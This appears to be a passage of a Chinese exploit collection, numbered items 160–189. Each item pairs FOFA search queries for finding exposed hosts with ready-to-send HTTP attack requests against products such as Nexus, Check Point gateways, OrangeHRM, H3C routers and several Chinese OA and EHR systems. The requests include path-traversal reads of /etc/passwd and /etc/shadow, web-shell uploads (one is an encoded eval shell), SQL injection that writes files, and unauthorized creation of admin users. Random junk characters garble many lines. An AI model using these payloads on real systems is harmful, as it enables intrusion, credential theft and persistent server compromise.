<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
: _% R& u. ]! H9 X- J( V</jobUpload>
' D$ U# x  {+ i8 m( F</soap:Body>
- `+ Q0 M2 E6 z) W& ^- I, F( G9 P" Q$ Y</soap:Envelope>
% N# D" ?: u2 {) u% ?! g  I- U5 ]+ A

/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


6 R. Y/ z3 b. t" U160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
- W0 d) _/ N8 n8 lGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
+ \: J: y' z# v8 Z) @& hConnection: close
* o' E8 k$ K, X3 k" C$ {5 X6 ?Accept: */*
Accept-Language: en
; p+ Z. z  X( g4 z- ]" r% fAccept-Encoding: gzip


+ _9 h- N2 D% X161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
) K/ d' X( y% ?) @Connection: close
Content-Length: 445
Content-Type: text/xml
, T& c# O0 L6 ?. ^5 {$ }+ T$ kAccept-Encoding: gzip

( H7 g- Q7 i9 d2 h0 l<?xml version="1.0" encoding="utf-8"?>
) S8 d9 [5 F4 s3 l% F! T<soap:Envelope xmlns:xsi="
3 g& P  q. _/ \' z  G; T% j7 Zhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
' `, f9 T5 S. ^$ n9 J' bxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
7 K2 s5 ~3 J( A4 O7 Y/ o<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
9 U" G5 b" n! ~, M! c( `7 c$ ^; V<fileName>../../../../dizxdell.aspx</fileName>
4 l3 \1 k5 }* T! O<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
# @) c; ^+ u" C</UploadResume>
</soap:Body>
" c8 Z4 v( T6 M</soap:Envelope>
: \; M/ e  p: D& d  {3 l

2 ^. b6 C( v4 Q8 c, ihttp://x.x.x.x/dizxdell.aspx
: T" Z6 e: N: I6 {) ?+ I3 r# ]
5 |. Y% ^$ |+ p" p$ o0 I9 w162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
+ Y. z- S  a# K: eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
! _5 ?' j. }1 I$ QContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

* q: T5 ^+ F6 a! q; }1 m------WebKitFormBoundaryeegvclmyurlotuey
& f1 H! }! \4 Q" E, t) k! nContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

" R* k; y& }2 K8 l; F  r! ~<% response.write("ujidwqfuuqjalgkvrpqy") %>
" D4 y3 F  ~! z1 G8 o. ^------WebKitFormBoundaryeegvclmyurlotuey
0 m8 q' v9 L1 w, o# i; d/ JContent-Disposition: form-data; name="action"
8 D1 O3 }( Q4 l0 F% J+ d- F4 Q
7 C# p- Q% J9 _3 M7 V" J6 g& fupload
------WebKitFormBoundaryeegvclmyurlotuey
. r5 h$ u" X  b: [& K" B8 D0 S& vContent-Disposition: form-data; name="responderId"

+ n0 x: y4 y: J$ H) m) z0 gResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
( d8 r$ n5 ?$ c; ~6 l3 oContent-Disposition: form-data; name="remotePath"

/opt/resources
6 C& Y8 y* l; V8 G9 K0 j------WebKitFormBoundaryeegvclmyurlotuey--
) R; N8 n2 d1 ^3 Y6 ~# F. G
: e7 h2 W% N3 E9 u6 |+ @3 F
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

* m: y9 n: x, i163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
8 M4 b6 R' \$ L3 X: S/ j# gFOFA: icon_hash="-795291075"
1 ~" F8 e& T! N4 t" R/ p+ x+ ~; XPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
0 \1 m6 L& r  X( vConnection: close
Content-Length: 293
Accept: */*
, N8 @& n1 R6 a: q2 W, @5 `Accept-Encoding: gzip, deflate
, X, [! J8 L" S& M6 oAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

6 q4 ]* i( l" e7 [" b  W1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
8 f# [# u0 ]" H------iiqvnofupvhdyrcoqyuujyetjvqgocod--

' X0 U5 x( P  M5 q
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
- R) K9 p- ~8 h  E. W! O5 |8 VFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
: X' O1 z. g0 i3 D/ f+ B" M! ]/ V6 wContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
9 c. c/ x8 |$ {2 L- CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
- `5 U4 \& R: i* Z/ ~* [2 k1 yConnection: close
. t/ {6 W" `  v0 w/ LContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
' o! A6 ?& A9 Z, |- \# ?! R" H" }  BAccept-Encoding: gzip
& H" l- `, F5 ^/ z; C8 _9 |% v
------dqdaieopnozbkapjacdbdthlvtlyl
' P) B( o9 Z$ ^Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
3 P; [2 W3 a8 i6 V7 F0 x6 j
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
7 s1 ~: G: ]; m------dqdaieopnozbkapjacdbdthlvtlyl--
* \5 [6 g# k) G+ ~, v- b% W) @

% Y8 V! _& P" {1 Qhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
- g; |% _$ ?, M7 A" K! jFOFA: app="OrangeHRM-产品"
- q( W& l1 e5 w# G4 r, a$ LURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
/ |" P% x9 Z! C

2 E- z2 G. Z0 m166. 中成科信票务管理平台SeatMapHandler SQL注入
# ]: g; Z% R! O% \5 A% p6 wFOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
8 W; y2 J2 u% f- K+ A1 z% z2 uHost:
! k- N. q( V7 R0 S# ?Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
5 x. n" s. L7 k: KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 S1 U9 Z6 r/ q  ~) i  NAccept-Encoding: gzip, deflate
& H7 U; o+ q' u7 N( }& BAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
# D2 k2 j' _( C2 L9 LCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
& e3 G2 O: c7 m: J/ p' D# xConnection: close
% q2 [: x2 t# |Content-Type: application/x-www-form-urlencoded
Content-Length: 89
: ~; h) S7 t9 _' G' L# r5 u
# `5 p5 Y* D) i) f1 o' R! }3 r; c0 QMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


. g& R$ O( v2 O8 b+ C1 l$ b5 t" @167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
  m# s1 `0 Z- a# ^: {5 P4 }GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
, j1 m; H! o! h$ x1 `0 P9 oHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
& X* P0 l' Z" a/ h7 i! B5 ]/ hConnection: keep-alive
2 Q& S1 q8 `( }0 S+ C
2 K3 s$ K: P: i4 ], @
168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
0 P5 J% V, i) B( B  e3 GGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
5 v/ O$ [/ Z0 T- _# K7 C2 ]4 LContent-Type: application/x-www-form-urlencoded
2 t1 d. m" G8 aConnection: close



* g# [8 y, H% `# Q! p# e# f169. 宏景EHR downlawbase SQL注入
- P/ l& l/ T/ z" s! @4 @0 YFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
+ N; a2 f, z  I9 m* V; `1 `Host: your-ip
, B1 P1 w, L6 w" f% i+ kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
: N3 ]: s( x- x4 c# f7 u$ }
! }5 v' L4 E4 x4 _2 f
  o, w/ d# ?8 |, C! @
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
, M6 B: _7 q5 X: b# X( X. FFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
( f; i" I* t- EHost: balalanengliang
: t5 v% M# Z& @7 b' gUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

' {3 l. H  ^$ r# `* J- ~filename=../webapps/ROOT/WEB-INF/web.xml
9 r6 L/ x! A8 S  i) Y2 ~$ t0 l) D( z+ L
; s& w( X8 G. R* q  S
$ b- k$ x6 _8 I4 H9 {5 B/ k& K171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
7 t# e# U+ l% u' m0 V4 ~Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
/ w- X0 z- D$ S' h0 dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 G# Y2 j8 r( F  yAccept-Encoding: gzip, deflate
Connection: close

& W; _1 j( X! y0 H2 [- v
- i* R6 P2 T  Z+ @  j$ a% W4 c
4 J* a# j+ G1 [. |172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
! [" ~3 [$ N2 Y3 m) ?& rGET /../../../../etc/passwd HTTP/1.1
/ m- ^: d" F" L5 Z0 u2 [0 R: `6 J) lHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
+ n& d5 i* s# @( M9 vConnection: keep-alive
  T& r2 W1 A- r: H: u
  M% a1 ]4 P# u  I6 Y. S5 _- `

0 I$ T8 N* e2 Y2 I; k- q1 Z7 b173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
: `% ^; _$ p/ _% j4 Z2 iHost: your-ip
Content-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
( o) z+ I" J* i3 h- Z- J; f

% S: |5 @, e) d8 W1 t) R( {
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
  Y9 C& Y' [: c8 A0 iFOFA：app="金和网络-金和OA"
: S& F/ n! R0 OGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
0 q! S' T# h( w( h2 NAccept-Language: zh-CN,zh;q=0.9
& }% o/ {$ F5 P* v( h7 GConnection: close
: K( s# o; r0 \8 P% [# c% x
$ _9 X. f- T$ M: i$ L8 J( L/ [5 o

' z! Y+ g1 N; b. A175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
, \3 O7 j( p4 HGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
0 h- t7 q2 y. _Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


% u8 ]3 f2 W+ ^7 s! T9 q176. 电信网关配置管理系统 rewrite.php 文件上传
7 b1 t6 `# I6 AFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
3 ~& a' C& {8 @" \( bConnection: close
0 K8 |, c# }% C% D. R! C" h
------WebKitFormBoundaryOKldnDPT
; g: C; j5 e3 n  t. P! GContent-Disposition: form-data; name="tmp_name"; filename="test.php"
; S; W) X. Q+ ~' p: w  gContent-Type: image/png
& R$ n. T2 q: l0 A. i3 h. Y
, P( W: N& A0 E6 w: V: s# P2 F3 Y/ h<?php system("cat /etc/passwd");unlink(__FILE__);?>
5 ~+ ^/ T* T8 [" i6 R2 ~9 P------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
8 {0 D3 H$ F$ ~1 S% ^

8 i/ E, f. h, r4 p------WebKitFormBoundaryOKldnDPT--
1 g* f3 V& v8 ~& y* Y* C. u: Z0 b

+ g, A! r; A) x2 V" u( a
177. H3C路由器敏感信息泄露
) h. W1 I# F0 @' k+ |0 \; M/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
+ A1 u% O; Q$ c0 f$ f" h' {) [) T/ S/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
% Y2 H* q4 S3 M1 ^1 T/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
: t# t8 j! u& S% K/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
* K8 B1 }4 P) i  K& v+ e  Q2 N7 L/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
, I% r/ D1 r7 `2 _- E& M* M% ]/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
! L2 ~+ F  {" c* Z7 W( }+ Y2 p/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
7 D: P7 o1 I# Z; tPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
# Q1 o5 p# f, B/ KHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
! z  u% P! r8 V- U" [# m) p-----------------aqutkea7vvanpqy3rh2l
# e' o8 W: G+ J( l' r* c& I! h9 P9 gContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
3 g& ~( w+ z( N* u' LContent-Length: 255

& I! s  B9 O5 C5 _  P12234
-----------------aqutkea7vvanpqy3rh2l--


GET /imc/primepush/%2e%2e/flex/12234.txt
! E7 I2 ?% M+ u

179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
+ A. i4 b3 B: M% QContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

( U& ?9 @; N% b2 G7 I" Epath=../log4net.config&Name=


3 [  v5 C2 C- q. E4 F- f8 F" s/ @1 _  A180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
5 f9 m& K% n1 }: o9 I/ aGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
: x1 O1 ?8 G. {7 Q7 N- @: }1 X# bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
  ~$ S6 }( c  GAccept-Language: zh-CN,zh;q=0.9
Connection: close
7 C* C% a( a3 O+ a* ?8 W2 s

8 C; n* n0 c$ m; \0 t181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
2 C7 n6 d& o$ K/ U. |4 r# YHost: your-ip
/ s: c! P. L7 k- B5 F! F; ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
! I2 @4 D2 p5 a5 U% r- oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* d6 ], ]" {* gAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
) B' S9 e1 r7 d2 w% B8 `; KConnection: close
Content-Type: application/x-www-form-urlencoded
" Q' d1 P' @* q) \+ l& J# q* U9 v
- j  l( ~% M) `- r4 n- w2 T+ u
, R; v; K# Q( n0 j7 kaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


, N  Q# j9 b( L" c% g2 c8 H5 R6 q* Y; b182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
/ q/ R" f! F; Q* x2 ]/ LFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
, q3 i. C4 h$ ]0 f% VAccept-Language: zh-CN,zh;q=0.9
Connection: close
) @4 v( J0 `! x1 ]Content-Type: application/x-www-form-urlencoded
6 S9 a0 a7 i+ x: G6 k$ t
# [: K( z' W9 F8 Q
username=test1234&pwd=test1234&savedays=1


! f" H3 @" `$ @& P7 L5 j$ t' T183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
% L, {2 f$ ^/ f% U" p$ hHost: your-ip
3 c1 h, B( f8 d; g% M  B$ d9 i9 uUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
0 t, f( m3 e# U9 Y! hAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
0 n3 k6 D! g- Y& YConnection: close
0 ?( R) L5 k% B
+ U: D( S* ^. \3 D$ _' q
) z9 N0 T, X5 E- j' L; i  |184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
* ~8 t1 }( {) ^+ z7 dFOFA：server="SunFull-Webs"
  s# X! S- ^0 _POST /soap/AddUser HTTP/1.1
, F) @* }5 v1 T. ^: f: L  Q) xHost: your-ip
Accept-Encoding: gzip, deflate
9 ?, Y  D$ K! B" RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
" G7 M2 F, m4 s8 D1 o& A! F  r0 yContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( r! u* c+ q- q! m. aX-Requested-With: XMLHttpRequest
' T  X9 N* o* h+ m2 f* o2 _

insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
( M/ h  W+ U' `5 O8 I# `

185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host


" W+ u9 T; y+ f  \9 G  C) k. e186. F-logic DataCube3 SQL注入
# H2 S' J* V+ x# F' N6 u+ `; u0 z/ W0 kCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
: t* O, D& U4 b. w3 \  HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
, P/ F! I2 m0 b- Y! a' y( _( k2 ]( TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
+ J4 g- L$ n; x. U+ d. B+ h: N' ^. YContent-Type: application/x-www-form-urlencoded

9 o4 U% s9 u& V- ~9 r7 D/ Ireq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


5 G- m4 [. U8 R% o9 t  T187. Mura CMS processAsyncObject SQL注入
! Y# X' |8 o+ ~  s3 fCVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
6 y  h; Y* V% K  \: B. UHost: your-ip
; Q: ~9 t" z+ |7 z4 dContent-Type: application/x-www-form-urlencoded
2 t. L" Q' k, k7 {1 J7 f  f

object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


188. 叁体-佳会视频会议 attachment 任意文件读取
+ O6 Z+ Q0 ?" T6 R+ B% Dversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
2 R& Q  K: K. a+ |! tGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
1 h0 S: h+ |5 ~6 G# mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 |8 ?, j4 B6 P) B3 y7 O. VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
; Q" n: P) A+ r0 eConnection: close
6 h6 _7 K8 M2 p) j

$ A2 t( n& L6 t2 Y: f189. 蓝网科技临床浏览系统 deleteStudy SQL注入
# H9 m- l+ n( i9 f6 z% L2 f7 _* K. ]FOFA：app="LANWON-临床浏览系统"
2 n' S$ q$ f0 SGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
4 p* X" \* ~* D& q8 H& t0 F( DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
: ?3 d( o& _$ ^, x4 S( [Accept-Language: zh-CN,zh;q=0.9
0 x; r% p) P4 v  tConnection: close
